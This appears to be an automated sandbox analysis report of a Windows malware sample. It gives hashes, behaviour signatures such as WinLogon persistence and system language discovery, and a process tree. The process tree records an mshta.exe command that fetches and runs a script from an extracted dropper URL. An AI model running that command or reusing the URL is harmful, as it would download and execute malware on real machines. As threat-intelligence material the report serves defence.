Analysis

  • max time kernel
    8s
  • max time network
    9s
  • platform
    windows7_x64
  • resource
    win7-20240705-en
  • resource tags

    arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
  • submitted
    26/08/2024, 04:34

Errors

Reason
Machine shutdown

General

  • Target

    c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe

  • Size

    695KB

  • MD5

    c24a94fc9f372a5e6b490ad971aaf81b

  • SHA1

    3d04b58f45c4818b73e689b42bcf4b561e8c575f

  • SHA256

    594ed688f479bc7c74a755ebd6555f65a55d63c5d82342d0df32cfac9560d0f6

  • SHA512

    204bcdcff335f894d20ae70ad917c54e862f28ca9166e6d0d9f3f1e1c75dbaf3b0dd573aa6dbcb3d68eb1693deb5bdb4e508e94ba41d2c70bbe39b74fd042eee

  • SSDEEP

    12288:mzCXl6eEblXIh6Yo8Gvp9gw5PlsOnmVNuWq1iVd7LvXEguiU731bBdT:516eEbRIhPC9bvmOyv0JT

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

http://lastreporteriche.com/inst.php?id=02956

Signatures

  • Modifies WinLogon for persistence 2 TTPs 1 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\c24a94fc9f372a5e6b490ad971aaf81b_JaffaCakes118.exe"
    1⤵
    • Modifies WinLogon for persistence
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2708
    • C:\Windows\SysWOW64\mshta.exe
      "C:\Windows\System32\mshta.exe" http://lastreporteriche.com/inst.php?id=02956
      2⤵
      • System Location Discovery: System Language Discovery
      • Modifies Internet Explorer settings
      PID:2808
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Roaming\shire.bat" "
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2832
  • C:\Windows\system32\LogonUI.exe
    "LogonUI.exe" /flags:0x0
    1⤵
      PID:1812
    • C:\Windows\system32\LogonUI.exe
      "LogonUI.exe" /flags:0x1
      1⤵
        PID:1864

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            • C:\Users\Admin\AppData\Roaming\shire.bat

              Filesize

              260B

              MD5

              c40bdc6dffec9e55d933fd8307f1c995

              SHA1

              51bfb57f92b0110a28c3eafb9c114945207f257e

              SHA256

              48b0b050f15f0555bb03f479ebeca758617c391835a3c46035a3f8ad098a627a

              SHA512

              f8c1a65969d240f118747fe0844103377bc8f25a4799034a2ed8f11cb601679c4454759102551493b22e44b4450cae28f02a15e14174a7da5c42e25ae3cb96f7

            • memory/2708-0-0x0000000000400000-0x00000000006E9000-memory.dmp

              Filesize

              2.9MB

            • memory/2708-1-0x0000000000240000-0x0000000000241000-memory.dmp

              Filesize

              4KB

            • memory/2708-2-0x0000000003D70000-0x0000000003D80000-memory.dmp

              Filesize

              64KB

            • memory/2708-14-0x0000000000400000-0x00000000006E9000-memory.dmp

              Filesize

              2.9MB